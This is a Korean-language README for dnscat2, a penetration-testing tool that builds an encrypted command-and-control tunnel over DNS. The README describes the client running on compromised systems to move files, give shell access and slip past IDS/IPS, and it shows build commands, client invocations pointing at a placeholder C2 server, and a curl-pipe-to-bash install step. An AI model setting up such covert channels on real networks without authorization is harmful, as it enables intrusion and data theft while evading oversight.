
DNS 프로토콜을 통한 암호화된 명령 및 제어 터널. 침투 테스트를 위한 은밀한 C&C 채널을 생성하며, DNS 쿼리를 통해 파일 전송, 셸 액세스 및 포트 포워딩 기능을 제공합니다.
***** 참고: .zip 다운로드의 비밀번호는 모두 "password" 입니다! *****
dnscat2에 오신 것을 환영합니다. 당신을 아프게 하거나 죽이지 않는 DNS 터널입니다!
이 도구는 DNS 프로토콜을 통해 암호화된 명령 및 제어(C&C) 채널을 생성하도록 설계되었습니다. 이는 거의 모든 네트워크에서 효과적인 터널입니다.
이 README 파일에는 시작하고 실행하는 데 필요한 모든 것이 포함되어 있습니다! 프로토콜, 코드 구조, 향후 계획 또는 기타 난해한 내용에 대해 더 깊이 알고 싶다면 doc/ 폴더를 확인하세요.
이것은 BSD 라이선스로 배포됩니다. 자세한 내용은 LICENSE.md를 참조하세요.
dnscat2는 클라이언트와 서버의 두 부분으로 구성됩니다.
클라이언트는 손상된 시스템에서 실행되도록 설계되었습니다. C로 작성되었으며 가능한 최소한의 종속성을 가집니다. 거의 모든 곳에서 실행되어야 합니다 (컴파일되거나 실행되지 않는 시스템을 발견하면 티켓을 제출해 주세요. 특히 해당 시스템에 접근할 수 있도록 도와줄 수 있다면 더욱 좋습니다).
클라이언트를 실행할 때 일반적으로 도메인 이름을 지정합니다. 모든 요청은 로컬 DNS 서버로 전송된 다음 해당 도메인의 권한 있는 DNS 서버(사용자가 제어하고 있다고 가정)로 리디렉션됩니다.
권한 있는 DNS 서버가 없는 경우 UDP/53(또는 선택한 포트)에서 직접 연결을 사용할 수도 있습니다. 더 빠르며 일반 관찰자에게는 여전히 DNS 트래픽처럼 보이지만 패킷 로그에서는 훨씬 더 눈에 띕니다(모든 도메인에는 "dnscat." 접두사가 붙습니다. 소스를 해킹하지 않는 한). 이 모드는 방화벽에 의해 자주 차단됩니다.
서버는 권한 있는 DNS 서버에서 실행되도록 설계되었습니다. Ruby로 작성되었으며 여러 다른 gem에 의존합니다. 실행할 때 클라이언트와 마찬가지로 수신할 도메인을 지정하고 UDP/53에서 직접 전송된 메시지도 수신합니다. 해당 도메인 중 하나에 대한 트래픽을 수신하면 논리적 연결을 설정하려고 시도합니다. 다른 트래픽을 수신하면 기본적으로 무시하지만 상위로 전달할 수도 있습니다.
두 부분에 대한 자세한 지침은 아래에 있습니다.
dnscat2는 특수 목적, 즉 명령 및 제어를 위해 설계되었다는 점에서 다른 DNS 터널링 프로토콜과 차별화됩니다.
호텔 네트워크에서 빠져나오거나 비행기에서 무료 인터넷을 사용하기 위해 설계된 것이 아닙니다. 그리고 단순히 TCP를 터널링하지도 않습니다.
프로토콜이 첨부되지 않은 모든 데이터를 터널링할 수 있습니다. 즉, 파일을 업로드 및 다운로드하고, 셸을 실행할 수 있으며, 이러한 작업을 잘 수행합니다. 또한 잠재적으로 TCP를 터널링할 수도 있지만, 이는 침투 테스트 도구의 맥락에서만 추가될 것입니다(즉, 네트워크 내부로 TCP 터널링). 범용 터널링 도구로는 사용되지 않습니다. 그런 것은 이미 있었고, (저에게는) 흥미롭지 않습니다.
또한 기본적으로 암호화됩니다. 다른 공개 DNS 터널이 모든 트래픽을 암호화한다고 생각하지 않습니다!
다음은 몇 가지 중요한 링크입니다:
dnscat2의 이론은 간단합니다. DNS 프로토콜을 통해 터널을 생성합니다.
왜 그럴까요? DNS에는 놀라운 속성이 있기 때문입니다. 서버에서 서버로 이동하여 어디로 가야 하는지 알아낼 것입니다.
즉, dnscat이 보안 네트워크에서 트래픽을 빼내기 위해서는 어떤 DNS 서버에 메시지를 보내기만 하면 됩니다. 그러면 DNS 네트워크를 통해 트래픽이 행복하게 전달되어 사용자의 DNS 서버에 도달합니다.
물론 권한 있는 DNS 서버에 액세스할 수 있다고 가정합니다. dnscat2는 또한 "직접" 연결, 즉 IP 주소와 UDP 포트 53(기본값)에서 dnscat 서버에 직접 연결하는 dnscat 클라이언트 실행을 지원합니다. 트래픽은 여전히 DNS 트래픽처럼 보이며 덜 정교한 IDS/IPS 시스템을 통과할 수 있지만 방화벽에 의해 차단될 가능성이 높습니다.
권한 있는 DNS 서버를 설정하는 방법을 잘 모르겠다면 도메인 제공업체와 설정해야 하는 것입니다. izhan이 도움이 되어 작성했습니다.
클라이언트 컴파일은 매우 간단해야 합니다. Linux의 경우 make/gcc, Windows의 경우 Cygwin 또는 Microsoft Visual Studio만 있으면 됩니다. Linux 명령은 다음과 같습니다:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
Windows에서는 client/win32/dnscat2.vcproj를 Visual Studio에 로드하고 "build"를 누르세요. Visual Studio 2008에서 만들고 테스트했습니다. 최신 버전의 정식 사본을 무료로 얻을 때까지는 이 버전을 계속 사용할 것입니다. :)
컴파일에 실패하면 내 github 페이지에 버그를 제출해 주세요! 시스템에 대한 세부 정보를 보내주십시오.
플래그 없이 실행하여 dnscat2가 성공적으로 컴파일되었는지 확인할 수 있습니다. 구성된 DNS 서버로 DNS 터널을 시작하려는 시도가 표시됩니다(실패할 것입니다):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating
서버는 "컴파일"되지 않지만 몇 가지 Ruby 종속성이 필요합니다. 불행히도 Ruby 종속성은 작동시키기 어려울 수 있으므로 행운을 빕니다! Ruby 전문가 중 이 부분을 개선하는 데 도움을 주고 싶은 분이 있으면 감사하겠습니다!
Ruby와 Gem이 설치되어 있고 정상적으로 작동한다고 가정합니다. 그렇지 않은 경우 apt-get, emerge, rvm 또는 운영 체제에서 일반적인 방법으로 설치하십시오.
Ruby/Gem이 준비되면 다음 명령을 실행하십시오(참고: 이미 클라이언트를 설치했다면 git clone 명령을 건너뛸 수 있으며, 이미 bundler를 설치했다면 gem install bundler를 건너뛸 수 있습니다):
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
gem install bundler 또는 bundler install에서 권한 오류가 발생하면 루트로 실행해야 할 수 있습니다. 많은 문제가 있는 경우 Ruby/Gem을 제거하고 rvm을 사용하여 루트 없이 모든 것을 설치하십시오.
다음과 같은 오류가 발생하면:
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
Ruby의 -dev 버전을 설치해야 함을 의미합니다:
$ sudo apt-get install ruby-dev
sudo가 항상 모든 것을 올바르게 작동시키기에 충분하지 않다는 것을 알게 되었습니다. 때로는 루트로 전환하여 해당 계정으로 직접 작업해야 합니다. rvmsudo는 ctrl-z를 깨뜨리기 때문에 도움이 되지 않습니다.
플래그 없이 실행하여 서버가 작동하는지 확인하고 dnscat2> 프롬프트가 표시되는지 확인할 수 있습니다:
# ruby ./dnscat2.rb
New window created: 0
Welcome to dnscat2! Some documentation may be out of date.
passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...
It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
루트로 실행하지 않으면 UDP/53 수신에 문제가 있을 수 있습니다(--dnsport를 사용하여 변경할 수 있음). 해당 경우 오류 메시지가 표시됩니다.
Ruby를 루트로 실행하는 데 문제가 있는 경우 처음 실행할 때 수행하는 방법은 다음과 같습니다:
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb
그리고 이후 실행:
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb
rvmsudo를 사용하면 더 쉬워야 하지만 불행히도 dnscat2는 rvmsudo와 잘 작동하지 않습니다.
도구를 구체적으로 사용하는 방법에 대해 이야기하기 전에 dnscat의 구조에 대해 알아보겠습니다. dnscat 도구는 클라이언트와 서버의 두 부분으로 나뉩니다. 컴파일 과정에서 보셨듯이 클라이언트는 C로 작성되고 서버는 Ruby로 작성됩니다.
일반적으로 서버가 먼저 실행됩니다. 오래 지속될 수 있으며 원하는 만큼 많은 클라이언트를 처리할 수 있습니다. 앞서 말했듯이 기본적으로 C&C 서비스입니다.